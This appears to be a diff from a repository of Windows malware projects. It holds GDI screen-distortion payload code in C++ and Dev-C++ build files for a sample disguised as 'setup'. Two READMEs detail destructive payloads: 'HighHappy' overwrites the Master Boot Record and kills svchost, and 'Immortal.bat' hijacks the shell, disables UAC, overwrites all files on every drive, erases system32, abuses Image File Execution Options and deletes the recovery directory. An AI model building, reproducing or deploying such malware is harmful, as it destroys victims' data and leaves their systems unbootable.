COLOR* data = (COLOR*)VirtualAlloc(0, (x * y + x) * sizeof(COLOR), MEM_COMMIT, PAGE_READWRITE);
|
| 38 |
+
HDC hdc = GetDC(0);
|
| 39 |
+
HDC mdc = CreateCompatibleDC(hdc);
|
| 40 |
+
HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
|
| 41 |
+
SelectObject(mdc, bmp);
|
| 42 |
+
|
| 43 |
+
while (true) {
|
| 44 |
+
BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
|
| 45 |
+
GetBitmapBits(bmp, x * y * sizeof(COLOR), data);
|
| 46 |
+
|
| 47 |
+
for (int i = 0; i < x * y; i++) {
|
| 48 |
+
((BYTE*)(data + i))[1 % 2] = ((BYTE*)(data + i))[r & 2];
|
| 49 |
+
}
|
| 50 |
+
|
| 51 |
+
SetBitmapBits(bmp, x * y * sizeof(COLOR), data);
|
| 52 |
+
BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
|
| 53 |
+
|
| 54 |
+
Sleep(10);
|
| 55 |
+
|
| 56 |
+
r = fade(3);
|
| 57 |
+
}
|
| 58 |
+
}
|
| 59 |
+
|
| 60 |
+
int main() {
|
| 61 |
+
CreateThread(0, 0, shader3b, 0, 0, 0);
|
| 62 |
+
Sleep(-1);
|
| 63 |
+
}
|
src/GDI-effects-main/swirl.cpp
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
#include <math.h>
|
| 3 |
+
|
| 4 |
+
int main() {
|
| 5 |
+
int x = GetSystemMetrics(SM_CXSCREEN);
|
| 6 |
+
int y = GetSystemMetrics(SM_CYSCREEN);
|
| 7 |
+
double angle = 0.0;
|
| 8 |
+
|
| 9 |
+
HDC hdc = GetDC(0);
|
| 10 |
+
HDC mdc = CreateCompatibleDC(hdc);
|
| 11 |
+
HBITMAP bmp = CreateCompatibleBitmap(hdc, x, y);
|
| 12 |
+
SelectObject(mdc, bmp);
|
| 13 |
+
|
| 14 |
+
while (true) {
|
| 15 |
+
BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
|
| 16 |
+
|
| 17 |
+
for (int i = 0; i < x + y; i++) {
|
| 18 |
+
BitBlt(hdc, 0, i, x, 1, mdc, sin(angle) * 40, i, SRCCOPY);
|
| 19 |
+
|
| 20 |
+
angle += 3.14159 / 80;
|
| 21 |
+
}
|
| 22 |
+
|
| 23 |
+
Sleep(10);
|
| 24 |
+
|
| 25 |
+
for (int i = 0; i < x + y; i++) {
|
| 26 |
+
BitBlt(hdc, i, 0, 1, y, mdc, i, sin(angle) * 40, SRCCOPY);
|
| 27 |
+
|
| 28 |
+
angle += 3.14159 / 80;
|
| 29 |
+
}
|
| 30 |
+
|
| 31 |
+
Sleep(10);
|
| 32 |
+
}
|
| 33 |
+
}
|
src/HighHappy-main/HighHappy.sln
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio Version 17
|
| 4 |
+
VisualStudioVersion = 17.11.35327.3
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HighHappy", "HighHappy\HighHappy.csproj", "{C09CE674-0B34-4E47-A04C-23B086793A99}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Debug|Any CPU = Debug|Any CPU
|
| 11 |
+
Release|Any CPU = Release|Any CPU
|
| 12 |
+
EndGlobalSection
|
| 13 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 14 |
+
{C09CE674-0B34-4E47-A04C-23B086793A99}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
| 15 |
+
{C09CE674-0B34-4E47-A04C-23B086793A99}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
| 16 |
+
{C09CE674-0B34-4E47-A04C-23B086793A99}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
| 17 |
+
{C09CE674-0B34-4E47-A04C-23B086793A99}.Release|Any CPU.Build.0 = Release|Any CPU
|
| 18 |
+
EndGlobalSection
|
| 19 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 20 |
+
HideSolutionNode = FALSE
|
| 21 |
+
EndGlobalSection
|
| 22 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 23 |
+
SolutionGuid = {0BCA0D04-C39A-4CEC-856A-EA0B5D6A6428}
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
EndGlobal
|
src/HighHappy-main/README.md
ADDED
|
@@ -0,0 +1,80 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# 😄 HighHappy 😄
|
| 2 |
+
|
| 3 |
+
HighHappy is a sophisticated and powerful virus designed for educational and research purposes. This README file explains the functionality and components of the code in detail. **Warning: Misuse of this software may result in severe consequences. ⚠️**
|
| 4 |
+
|
| 5 |
+

|
| 6 |
+
|
| 7 |
+
---
|
| 8 |
+
|
| 9 |
+
## Table of Contents 📑
|
| 10 |
+
1. [Introduction](#introduction)
|
| 11 |
+
2. [Features](#features)
|
| 12 |
+
3. [Code Breakdown](#code-breakdown)
|
| 13 |
+
- [GDI Effects](#gdi-effects)
|
| 14 |
+
- [MBR Modification](#mbr-modification)
|
| 15 |
+
- [Cursor Manipulation](#cursor-manipulation)
|
| 16 |
+
- [Icon Drawing](#icon-drawing)
|
| 17 |
+
- [ByteBeat Audio](#bytebeat-audio)
|
| 18 |
+
- [Simulated BSOD](#simulated-bsod)
|
| 19 |
+
- [Registry Deletion](#registry-deletion)
|
| 20 |
+
4. [Disclaimer](#disclaimer)
|
| 21 |
+
|
| 22 |
+
---
|
| 23 |
+
|
| 24 |
+
## Introduction 🚀
|
| 25 |
+
|
| 26 |
+
HighHappy is a virus created to demonstrate various destructive and disruptive techniques, including screen distortion, cursor manipulation, audio playback, and registry tampering. It is written in C# and leverages several Windows APIs to achieve its effects.
|
| 27 |
+
|
| 28 |
+
---
|
| 29 |
+
|
| 30 |
+
## Features 🔧
|
| 31 |
+
|
| 32 |
+
- **GDI Effects:** Visual distortion of the screen using graphics manipulation.
|
| 33 |
+
- **MBR Modification:** Overwrites the Master Boot Record (MBR) with random data.
|
| 34 |
+
- **Cursor Manipulation:** Randomly moves the cursor around the screen.
|
| 35 |
+
- **Icon Drawing:** Draws random system icons on the desktop.
|
| 36 |
+
- **ByteBeat Audio:** Generates and plays chaotic audio loops.
|
| 37 |
+
- **Simulated BSOD:** Terminates critical processes to crash the system.
|
| 38 |
+
- **Registry Deletion:** Deletes system-critical registry entries (implementation incomplete in provided code).
|
| 39 |
+
|
| 40 |
+
---
|
| 41 |
+
|
| 42 |
+
## Code Breakdown 📝
|
| 43 |
+
|
| 44 |
+
### GDI Effects
|
| 45 |
+
The `GDI` method uses the Windows Graphics Device Interface (GDI) to manipulate the desktop display. It creates random visual distortions, including color fills and screen section copying.
|
| 46 |
+
|
| 47 |
+
### MBR Modification
|
| 48 |
+
The `MBR` method overwrites the Master Boot Record of the primary physical drive (`\\.\PhysicalDrive0`) with random bytes, rendering the system unbootable.
|
| 49 |
+
|
| 50 |
+
### Cursor Manipulation
|
| 51 |
+
The `Cursor` method randomly moves the mouse cursor across the screen at rapid intervals, creating a chaotic user experience.
|
| 52 |
+
|
| 53 |
+
### Icon Drawing
|
| 54 |
+
The `RunIconDrawing` method draws random system icons (error, warning, and application icons) at random positions on the desktop.
|
| 55 |
+
|
| 56 |
+
### ByteBeat Audio
|
| 57 |
+
The `ByteBeat` method generates chaotic audio loops using mathematical formulas. The audio is saved as a temporary WAV file and played in a continuous loop.
|
| 58 |
+
|
| 59 |
+
### Simulated BSOD
|
| 60 |
+
The `BSOD` method forcefully terminates all processes named `svchost`, potentially causing a system crash.
|
| 61 |
+
|
| 62 |
+
### Registry Deletion
|
| 63 |
+
The `RegistryDelete` method is designed to delete critical registry entries. However, its implementation is incomplete in the provided code.
|
| 64 |
+
|
| 65 |
+
---
|
| 66 |
+
|
| 67 |
+
## Disclaimer ⚠️
|
| 68 |
+
|
| 69 |
+
**This software is intended for educational and research purposes only.**
|
| 70 |
+
The author and contributors are not responsible for any misuse or damage caused by this software. Use it responsibly and within the bounds of the law.
|
| 71 |
+
|
| 72 |
+
---
|
| 73 |
+
|
| 74 |
+
### Project Metadata
|
| 75 |
+
|
| 76 |
+
- **Project Name:** HighHappy
|
| 77 |
+
- **Coded By:** ABOLHB
|
| 78 |
+
- **Group:** FREEMASONRY
|
| 79 |
+
- **Year:** 2024
|
| 80 |
+
- **License:** © 2024 ABOLHB - FREEMASONRY
|
src/Immortal-main/README.md
ADDED
|
@@ -0,0 +1,208 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
> [!WARNING]
|
| 2 |
+
> This project was built for Windows 8.1.
|
| 3 |
+
>
|
| 4 |
+
> I am not sure if you can run this script properly on newer operating systems.
|
| 5 |
+
>
|
| 6 |
+
> This warning message will be removed/changed when I be sure.
|
| 7 |
+
|
| 8 |
+
# Immortal.bat (My First Batch Project)
|
| 9 |
+
Batch script which was created for educational and entertaiment purposes only. The script provides interesting tricks with modern Windows (particularly Windows 8.1 and newer), but is also capable of damaging files, registry data etc.
|
| 10 |
+
|
| 11 |
+

|
| 12 |
+
|
| 13 |
+
Check out the video about Immortal.bat 👉 [Full Demonstration](https://www.youtube.com/watch?v=p6LZ-45KQ60)
|
| 14 |
+
|
| 15 |
+
## Watch out!
|
| 16 |
+
There is an Operating System Detection so do not be surprised why the script is not working on Windows 7 or older.
|
| 17 |
+
|
| 18 |
+

|
| 19 |
+
|
| 20 |
+
## This was a challenge!
|
| 21 |
+
|
| 22 |
+
Yes, it really was. One day I asked my self "Wouldn't be a crazy idea to create interesting and destructive batch script with user interface?".
|
| 23 |
+
And just with that, I started learning the batch script.
|
| 24 |
+
|
| 25 |
+
## What's the purpose?
|
| 26 |
+
|
| 27 |
+
A lot of people in our community view batch script as a "scripting language for skidders". This might be true due to the fact how easy is to code in the batch script. However, I am not a script kiddie anymore and I want to prove you that even with the batch script you can do pretty amazing stuff in the Windows.
|
| 28 |
+
|
| 29 |
+
So what's the purpose of this? Just to show you what batch script can be capable of!
|
| 30 |
+
|
| 31 |
+
## My opinion on Batch Script
|
| 32 |
+
|
| 33 |
+
Well, I have to say that learning this script did not take long becuase batch is very low level scripting language. However, I ran into a lot of problems with syntax, spacing issues and escaping. So, it was not clean process as I thought it will be.
|
| 34 |
+
|
| 35 |
+
For instance: When I was trying to escape keyword "do" inside if statement it did not let me do that. No metter how hard you try to escape "do" keyword inside if statement or for loop, you will always fail.
|
| 36 |
+
|
| 37 |
+
Would I recommend batch script to you? Yes, but be prepared for a lot of errors and stay calm (not like me :D) because there is always reason why the problem occured.
|
| 38 |
+
|
| 39 |
+
## How this script works?
|
| 40 |
+
|
| 41 |
+
When you launch Immortal.bat, the first thing that you are going to experience is UAC promt. That is because this script need a administrator privileges to change and remove important files. Without these rights, the script would not do much. Then the script will show you the main menu with all stages (in other words levels) which you can try.
|
| 42 |
+
|
| 43 |
+
Meanwhile, the script already dropped some of its files in `C:\Immortal` directory and it created bunch of registry files in `HKEY_LOCAL_MACHINE\SOFTWARE\Immortal`. These files are very important for the script functionality. Also, it chnage the registry value "Shell" in order to start up along with explorer.exe.
|
| 44 |
+
|
| 45 |
+
## Levels
|
| 46 |
+
|
| 47 |
+
### Casual 😇
|
| 48 |
+
The harmless level.
|
| 49 |
+
|
| 50 |
+
It hide files, randomly launch applications, open random websites and lastly it restart the system via shutdown command.
|
| 51 |
+
|
| 52 |
+
The console window is visible.
|
| 53 |
+
|
| 54 |
+

|
| 55 |
+
|
| 56 |
+
### Normal 😊
|
| 57 |
+
It is a still harmless level, but some of its features can cause problems to users who does not understand basic stuff in registry and basically anyone who lacks basic knowledge in Windows.
|
| 58 |
+
|
| 59 |
+
First it disable Task Manager then Registry Editor, it will also disable UAC protection. Lastly it remove the wallpaper and write a message to the user.
|
| 60 |
+
|
| 61 |
+
The console window is visible.
|
| 62 |
+
|
| 63 |
+

|
| 64 |
+
|
| 65 |
+
> [!WARNING]
|
| 66 |
+
> The `msg` command is not part of the Windows Home Edition.
|
| 67 |
+
>
|
| 68 |
+
> So if you are running Immortal on Windows 10/11 Home it will not show up, on the other hand, both Pro Editions have this command.
|
| 69 |
+
|
| 70 |
+
### Annoying 😐
|
| 71 |
+
This level can do mess in the system. However, it does not do any kind of damage so it is still classified as a harmless level.
|
| 72 |
+
|
| 73 |
+
After execution it change a lot of file icons, rename username, create welcome message, swap the mouse inputs and it disable the Task Manager, Registry Editor and UAC protection. Pressing any key will lead to reboot.
|
| 74 |
+
|
| 75 |
+

|
| 76 |
+
|
| 77 |
+
**1st Payload**
|
| 78 |
+
|
| 79 |
+
After reboot, the Annoying Level will activate first payload.
|
| 80 |
+
In this payload, the script will try to create a gibberish files on all drives and its subdirectories.
|
| 81 |
+
|
| 82 |
+
> [!NOTE]
|
| 83 |
+
> If you want to launch any of these payloads then you need to restart the computer.
|
| 84 |
+
>
|
| 85 |
+
> After every restart you will come across to another payload.
|
| 86 |
+
|
| 87 |
+
**2nd Payload** (not shown in the video)
|
| 88 |
+
|
| 89 |
+
When this payload is launched, random gibberish message boxes will be displayed. Styles and buttons of the message boxes can appear randomly.
|
| 90 |
+
|
| 91 |
+
**3rd Payload**
|
| 92 |
+
|
| 93 |
+
This payload is about downloading files from hardcoded download links. When the file is downloaded, it will try to open it.
|
| 94 |
+
All the files will be stored inside `C:\Download` directory.
|
| 95 |
+
|
| 96 |
+
**4th Payload**
|
| 97 |
+
|
| 98 |
+
It will launch two scripts `spam.bat` and `letmeransomeaps.bat`. This payload will slowdown the system because it will attempt to launch all files from system32 directory. `spam.bat` only display command `dir C:\ /s` with different variations of colors.
|
| 99 |
+
|
| 100 |
+
When you try to reboot the system again, you will return to the main menu.
|
| 101 |
+
|
| 102 |
+
The console window is visible, but it will change after reboot.
|
| 103 |
+
|
| 104 |
+
### Harsh 🙁
|
| 105 |
+
This level can actually damage some data.
|
| 106 |
+
|
| 107 |
+
After execution the script will take ownership of some non critical system files such as Device Manager, Task Manager and so on... Then it will delete these files.
|
| 108 |
+
|
| 109 |
+
Keyboard is going to be also changed. Some keys can even open applications.
|
| 110 |
+
|
| 111 |
+
This level have also date timed payloads such as 02/11 | 11.2 - Shell Overwritter, 04/01 | 1.4 - Delete Classes. The default payload without date timed changes is File Overwritter. Date timed payloads and default can happen in the last payload aka 4th one.
|
| 112 |
+
|
| 113 |
+
The console window is visible, but it will change after reboot.
|
| 114 |
+
|
| 115 |
+

|
| 116 |
+
|
| 117 |
+
**1st Payload**
|
| 118 |
+
|
| 119 |
+
When the message box apper with the text `"Lets get some friends"` it will immediatelly start to creating 1000 accounts with random gibberish names and passwords. Luckely your account will not be affected.
|
| 120 |
+
|
| 121 |
+
> [!WARNING]
|
| 122 |
+
> Sometimes accounts can appear right after the payload starts, but it is not always like that.
|
| 123 |
+
>
|
| 124 |
+
> If you cannot see any changes then you need to restart the computer.
|
| 125 |
+
|
| 126 |
+
**2nd Payload**
|
| 127 |
+
|
| 128 |
+
Another payload will create new drives. That can explain the message `"Its time to expand"`.
|
| 129 |
+
|
| 130 |
+
But before that, the script will convert the primary disk into dynamic disk. By doing this, it can create as many drives as it wants.
|
| 131 |
+
|
| 132 |
+
**3rd Payload**
|
| 133 |
+
|
| 134 |
+
This payload just disconnects the internet connection. Nothing else to say about this one ...
|
| 135 |
+
|
| 136 |
+
**4th Payload - (default) File Overwritter**
|
| 137 |
+
|
| 138 |
+
It will search for all conected drives and then it will overwrite all files within these drives and their subdirectories with message `"OVERWRITTEN BY IMMORTAL.BAT"`.
|
| 139 |
+
|
| 140 |
+
You might even lose files in the share folder so be careful!
|
| 141 |
+
|
| 142 |
+
**4th Payload - 02/11 | 11.2 - Shell Overwritter**
|
| 143 |
+
|
| 144 |
+
This payload will just replace `explorer.exe` to `epilepsy.bat` so after reboot instead of seeing your desktop with all icons, you are going to see batch script which changes its colors randomly and says `"HACKED BY IMMORTAL.BAT"` multiple times.
|
| 145 |
+
|
| 146 |
+
**4th Payload - 04/01 | 1.4 - Delete Classes**
|
| 147 |
+
|
| 148 |
+
It will try to delete all classes from registry which are exactly located in `HKEY_LOCAL_MACHINE\SOFTWARE\Classes` or `HKEY_CLASSES_ROOT`. By deleting these classes you will not be able to open any application.
|
| 149 |
+
|
| 150 |
+
After reboot you are going to see a black screen with some error messages.
|
| 151 |
+
|
| 152 |
+
### Cruel 😡
|
| 153 |
+
This level causes a serious problems on Windows.
|
| 154 |
+
|
| 155 |
+
When you execute this level, you are paused by its menu. Before you press any key you can decide which type of payload you want to execute.
|
| 156 |
+
|
| 157 |
+
03/30 | 30.3 - System32 Corruption
|
| 158 |
+
12/25 | 25.12 - Image File Execution Option
|
| 159 |
+
01/01 | 1.1 - File Injection
|
| 160 |
+
There is also a default payload - Font Corruption
|
| 161 |
+
|
| 162 |
+

|
| 163 |
+
|
| 164 |
+
> [!WARNING]
|
| 165 |
+
> Because these payloads will cause a serious damage to your devide, you might not be able to return to the script UI.
|
| 166 |
+
|
| 167 |
+
The console window is visible, but it will change after reboot.
|
| 168 |
+
|
| 169 |
+
**(default) Font Corruption**
|
| 170 |
+
|
| 171 |
+
This payload will try to delete all fonts from the registry. Fonts will not be deleted directly, only their registry data.
|
| 172 |
+
|
| 173 |
+
After reboot you are going to experience gibberish text across the screen and Windows will eventually crash.
|
| 174 |
+
|
| 175 |
+
**03/30 | 30.3 - System32 Corruption**
|
| 176 |
+
|
| 177 |
+
When you launch this payload it will try to take ownership of all files in the system32 folder and then it will try to erase them all.
|
| 178 |
+
|
| 179 |
+
After reboot you will not be able to boot into your system again.
|
| 180 |
+
|
| 181 |
+
**12/25 | 25.12 - Image File Execution Option**
|
| 182 |
+
|
| 183 |
+
This payload is fully based on registry. It will create a new key called `dwm.exe` inside `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`. After that it will create a new string value called `debugger` with string `notepad.exe`.
|
| 184 |
+
|
| 185 |
+
After reboot it will try to open `dwm.exe` from `notepad.exe` which will cause some problems with Windows UI.
|
| 186 |
+
|
| 187 |
+
> [!NOTE]
|
| 188 |
+
> Desktop Window Manager or DWM.exe is the system manager that generates every element visible on a PC/laptop. In addition, it is responsible for stimulating all visual effects in Windows menus, transparent components, wallpapers, themes, thumbnails and
|
| 189 |
+
> system animations.
|
| 190 |
+
|
| 191 |
+
**01/01 | 1.1 - File Injection**
|
| 192 |
+
|
| 193 |
+
Another based registry payload. This one will hook all files in `HKEY_LOCAL_MACHINE\SOFTWARE\Classes` by modifying default string value located in `command` key.
|
| 194 |
+
Instead of running for example notepad.exe you will get batch script with random colors and it will say `"INJECTED BY IMMORTAL.BAT"`.
|
| 195 |
+
|
| 196 |
+
### Deadly 😈
|
| 197 |
+
This level does not require any date time changes. When you press any key it will try to take ownership of all files in all drives and delete them.
|
| 198 |
+
|
| 199 |
+
It will also try to delete all registry data.
|
| 200 |
+
|
| 201 |
+
Lastly it will delete `C:\Recovery` directory. Because recovery directory contains necessary files to launch the `Automatic repair`, Windows will not be able to even try to repair the system.
|
| 202 |
+
|
| 203 |
+

|
| 204 |
+
|
| 205 |
+
## Fun facts
|
| 206 |
+
It took me 1 month to finish this project.
|
| 207 |
+
|
| 208 |
+
The code is hardcoded because I was working on some payloads separately outside of the script. If you are wondering why, it is because when the code grew more and more it got much more confusing.
|
src/J100758.264-211529.207-main/J100758.264+211529.207.dev
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[Project]
|
| 2 |
+
FileName=J100758.264+211529.207.dev
|
| 3 |
+
Name=J100758.264+211529.207
|
| 4 |
+
Type=0
|
| 5 |
+
Ver=2
|
| 6 |
+
ObjFiles=
|
| 7 |
+
Includes=
|
| 8 |
+
Libs=
|
| 9 |
+
PrivateResource=J100758.264+211529.207_private.rc
|
| 10 |
+
ResourceIncludes=
|
| 11 |
+
MakeIncludes=
|
| 12 |
+
Compiler=-lgdi32 -lwinmm -lntdll -lkernel32_@@_-fpermissive_@@_
|
| 13 |
+
CppCompiler=-lgdi32 -lwinmm -lntdll -lkernel32_@@_-fpermissive_@@_
|
| 14 |
+
Linker=-s_@@_"../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libwinmm.a"_@@_"../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libkernel32.a"_@@_"../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libntdll.a"_@@_
|
| 15 |
+
IsCpp=1
|
| 16 |
+
Icon=J100758.264+211529.207.ico
|
| 17 |
+
ExeOutput=
|
| 18 |
+
ObjectOutput=
|
| 19 |
+
LogOutput=
|
| 20 |
+
LogOutputEnabled=0
|
| 21 |
+
OverrideOutput=0
|
| 22 |
+
OverrideOutputName=J100758.264+211529.207.exe
|
| 23 |
+
HostApplication=
|
| 24 |
+
UseCustomMakefile=0
|
| 25 |
+
CustomMakefile=
|
| 26 |
+
CommandLine=
|
| 27 |
+
Folders=
|
| 28 |
+
IncludeVersionInfo=1
|
| 29 |
+
SupportXPThemes=0
|
| 30 |
+
CompilerSet=4
|
| 31 |
+
CompilerSettings=0000000100000000001000000
|
| 32 |
+
UnitCount=1
|
| 33 |
+
|
| 34 |
+
[VersionInfo]
|
| 35 |
+
Major=6
|
| 36 |
+
Minor=6
|
| 37 |
+
Release=6
|
| 38 |
+
Build=6
|
| 39 |
+
LanguageID=1033
|
| 40 |
+
CharsetID=1252
|
| 41 |
+
CompanyName=pankoza
|
| 42 |
+
FileVersion=6.6.6.6
|
| 43 |
+
FileDescription=J100758.264+211529.207 setup
|
| 44 |
+
InternalName=
|
| 45 |
+
LegalCopyright=
|
| 46 |
+
LegalTrademarks=
|
| 47 |
+
OriginalFilename=
|
| 48 |
+
ProductName=
|
| 49 |
+
ProductVersion=6.6.6.6
|
| 50 |
+
AutoIncBuildNr=0
|
| 51 |
+
SyncProduct=1
|
| 52 |
+
|
| 53 |
+
[Unit1]
|
| 54 |
+
FileName=main.cpp
|
| 55 |
+
CompileCpp=1
|
| 56 |
+
Folder=
|
| 57 |
+
Compile=1
|
| 58 |
+
Link=1
|
| 59 |
+
Priority=1000
|
| 60 |
+
OverrideBuildCmd=0
|
| 61 |
+
BuildCmd=
|
| 62 |
+
|
src/J100758.264-211529.207-main/J100758.264+211529.207.ico
ADDED
|
|
src/J100758.264-211529.207-main/J100758.264+211529.207.layout
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[Editors]
|
| 2 |
+
Order=0
|
| 3 |
+
Focused=0
|
| 4 |
+
[Editor_0]
|
| 5 |
+
CursorCol=10
|
| 6 |
+
CursorRow=267
|
| 7 |
+
TopLine=260
|
| 8 |
+
LeftChar=1
|
src/J100758.264-211529.207-main/J100758.264+211529.207_private.h
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */
|
| 2 |
+
/* DO NOT EDIT ! */
|
| 3 |
+
|
| 4 |
+
#ifndef J100758_264+211529_207_PRIVATE_H
|
| 5 |
+
#define J100758_264+211529_207_PRIVATE_H
|
| 6 |
+
|
| 7 |
+
/* VERSION DEFINITIONS */
|
| 8 |
+
#define VER_STRING "6.6.6.6"
|
| 9 |
+
#define VER_MAJOR 6
|
| 10 |
+
#define VER_MINOR 6
|
| 11 |
+
#define VER_RELEASE 6
|
| 12 |
+
#define VER_BUILD 6
|
| 13 |
+
#define COMPANY_NAME "pankoza"
|
| 14 |
+
#define FILE_VERSION "6.6.6.6"
|
| 15 |
+
#define FILE_DESCRIPTION "J100758.264+211529.207 setup"
|
| 16 |
+
#define INTERNAL_NAME ""
|
| 17 |
+
#define LEGAL_COPYRIGHT ""
|
| 18 |
+
#define LEGAL_TRADEMARKS ""
|
| 19 |
+
#define ORIGINAL_FILENAME ""
|
| 20 |
+
#define PRODUCT_NAME ""
|
| 21 |
+
#define PRODUCT_VERSION "6.6.6.6"
|
| 22 |
+
|
| 23 |
+
#endif /*J100758_264+211529_207_PRIVATE_H*/
|
src/J100758.264-211529.207-main/J100758.264+211529.207_private.rc
ADDED
|
@@ -0,0 +1,36 @@
|
